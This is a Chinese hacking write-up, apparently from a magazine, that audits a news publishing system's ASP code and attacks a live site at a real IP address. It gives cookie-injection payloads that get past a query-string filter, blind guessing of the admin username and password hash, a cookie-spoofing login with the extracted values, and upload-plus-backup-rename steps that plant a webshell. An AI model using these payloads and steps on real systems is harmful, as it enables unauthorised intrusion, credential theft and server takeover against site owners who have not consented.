作者:月无痕&&花非花
来源:红狼安全小组(www.wolfexp.net,www.crst.com.cn)
注:本文以发表于黑客手册,转载请加上出处
一.接触起因
这几天事情较多,一直都没去老大的论坛转!今天好友joli突然Q我说论坛上有人发了个脚本的问题,叫我也一起看一下,于是我就跑过去看了下(你家离论坛很近?竟然可以跑着过去!),也就有了下面这篇文章(测试版本为讯时新闻发布系统v2.70版 )。
二.漏洞初探
打算先看有没有经典的OR漏洞,虽然已经出来很久的漏洞了,但是很多程序仍然会存在这样的漏洞,admin_login.asp存在如下代码:
if request("user")="" or request("pass")=""then
conn.close
set conn=nothing
Response.Redirect "login.asp?id=0"
’如果user或者pass等于空就掉转到login.asp?id=0这个页面上
else '注释下如果上面条件不成立就执行下面语句
user=LCase(chkhtm(request("user")))'注释下这里先用chkhtm函数过滤然后用lcase在过滤
pass=md5(chkhtm(trim(request("pass"))))
’然后带入sql语句查询
sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"'"
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
好!上面关键的地方我都进行了一下注释,最关键的地方就是chkhtm函数,他是做什么的?我在titleb.asp中找到了他的定义!
function chkhtm(stra)
stra=replace(stra,"<","<")
stra=replace(stra,">",">")
stra=replace(stra,"'","")
stra=replace(stra,"(","(")
stra=replace(stra,")",")")
stra=replace(stra,";",";")
stra=replace(stra,",",",")
stra=replace(stra,"%","%")
stra=replace(stra,"+","+")
chkhtm=stra
end function
很明显的一个过滤函数,在函数的第四行,已经过滤掉了“'”号了,所以OR漏洞是没戏了,思路到这里就断了。
三.再探漏洞
在查看代码的时候曾经被某人误导,一直抓不到点子上去了,这时候花非花刚好来上网,我把程序传给他,他把思路告诉我,然后他让我看了admin_chk.asp文件,大概代码如下:
<%
1.session("admin__user")=Request.Cookies("adminuser")
2.session("admin__pass")=Request.Cookies("adminpass")
3.session("dJ")=Request.Cookies("admindj")
4.adminuser=Request.Cookies("adminuser")
5.adminpass=Request.Cookies("adminpass")
6.admindj=Request.Cookies("admindj")
7.if adminuser="" or adminpass="" then
8. Response.Redirect "login.asp?id=8"
9.end if
...省略部分代码...
10.user=trim(session("admin__user"))
11.pass=session("admin__pass")
12.sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
13.Set rs = Server.CreateObject("ADODB.RecordSet")
14.rs.Open sql,conn,1,1
15.if rs.recordcount=0 then
16. Response.Redirect "login.asp?id=8"
17.end if
...再省略...
%>
1,2,3是通过request.cookies方法从客户端获取cookie信息(KEY分别是adminuser,adminpass, admindj),并存入session中,分别对应:session("admin__user")、session("admin__pass")、 session("dj")。然后在4,5,6分别把Request.Cookies("adminuser"),Request.Cookies ("adminpass"),Request.Cookies("admindj")的值存入变量adminuser,adminpass, admindj中,如果变量adminuser,adminpass的值为空,就转到login.asp?id=8页面,10,11是将session ("admin__user")和session("admin__pass"),存入变量user和pass中。12,13,14将变量 adminuser和adminpass的值参与sql查询。将拿客户端的cookie信息进行sql查询,这样做的结果是造成欺骗漏洞,但是由于参与查询的cookie还包括密码,所以这种利用条件比较困难,必须在得到用户的密码(估计有人要骂我了,呵呵,能得到密码还COOKIE欺骗干嘛,不过这个密码是MD加密的,也就是可以省去破解这一步了(另外一个就是cookie注入了,貌似可以,但是我们进行测试之后都构造不出可行的攻击语句,有高手能搞定的话,请告知一下,先谢过了!)。思路再一次中断...
四.三顾讯时
正在一筹莫展的石斛,花花说找到了另外一个漏洞,漏洞文件在admin_news_view.asp,漏洞代码如下:
newsid=trim(request("newsid"))
sql = "select * from news where id="&newsid
Set rs = Server.CreateObject("ADODB.RecordSet")
rs.Open sql,conn,1,1
这个文件以admin开头,但是没有进行权限的判断等,用户可直接查看,而这里通过request获取从客户端传来的数据newsid的值,并用 trim函数过滤之后存入变量newsid中。然后将此变量参与SQL查询。此过程,只用trim函数过滤了空格并没有做其他的限制,所以从这里可以看出来一个注入漏洞就产生了。
用order by函数判断参与SQL查询的字段为26个,提交 http://222.90.4.20/news/admin_news_view.asp?newsid=26%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin ,返回错误,如图1所示:
然后,我们在admin_conn.asp 文件中发现如下代码:
sss=LCase(request.servervariables("QUERY_STRING"))
if instr(sss,"select")<>0 or instr(sss,"inster")<>0 or instr(sss,"delete")<>0 or instr(sss,"(")<>0 or instr(sss,"'or")<>0 then
response.write "<BR><BR><center>你的网址不合法"
response.end
end if
过滤了request.querystring方法获取从客户端传来的数据,过滤的内容是select,inster,delete等。虽然做了这个限制,但是我们还是可以利用cookie进行注入,因为前面的漏洞代码里面用的是request而不是request.querystring,所以我们还有reuqest.cookie方法让服务端获取我们这里的数据。
先访问:http://222.90.4.20/news/admin_news_view.asp?newsid=26,然后去掉此URL,再 提交:javascript:alert(document.cookie="newsid="+escape("26 and 1=1"))返回如图2所示:
然后在访问http://222.90.4.20/news/admin_news_view.asp,返回如图3:
说明我们提交的url已经有参与了sql查询,而且查询所得结果为真。再提交:
javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(user,1,1)) from [admin] where id=1)=97"))
返回如图4所示:
Click here to open new window CTRL+Mouse wheel to zoom in/out
判断id=1的user(管理员)的第一个字符的ascii码值是否为97。相信大家以前看过花花的文章,大概的cookie注入也就这样了。下面是猜密码的。
javascript:alert(document.cookie="newsid="+escape("26 and (select asc(mid(pass,1,1)) from [admin] where id=1)=97"))
通过一一猜解所得的用户名和密码的ASSCII分别是97 100 109 105 110,50 49 50 51 50 102 50 57 55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 52 97 56 48 49 102 99 51,转换后的结果分别是admin和21232f297a57a5a743894a0e4a801fc3。然后我们不必去破解密码,拿出老兵叔的 cookie欺骗工具,在cookies栏里输入:admindj=1; adminpass=21232f297a57a5a743894a0e4a801fc3; adminuser=admin; (保持绿色小球处于按下状态)然后在address栏里输入:http://222.90.4.20/news/admin_index.asp,提交!这样我们就可以不经登陆直接进到后台了。如图5所示:
进到后台就是拿WEBSHELL了。打开网友投稿,如图6所示:
打开查看审查,然后传个.zip(需要是允许上传的类型)的马上去。如图7所示:
然后,查看编辑器的代码,如图8所示:
可以看到这样一行字:<a href="/news/edit/uploadfile/2007213131454997.zip" ....
然后记下这一路径:/news/edit/uploadfile/2007213131454997.zip
再打开备份,如图9所示:
然后把路径等设置好,如图10所示:
然后提交,返回如图11所示:
这里我们获得了物理路径,然后就可以提交URL:http://222.90.4.20/news/databackup/LST.ASP
返回如图12所示:
呵呵,熟悉的界面,明哥的DIY.Asp。
此文经过一波三折,最终成功拿下WEBSHELL,没什么高深的技术,也就是一条思路。感谢我的好友JOLI和花非花。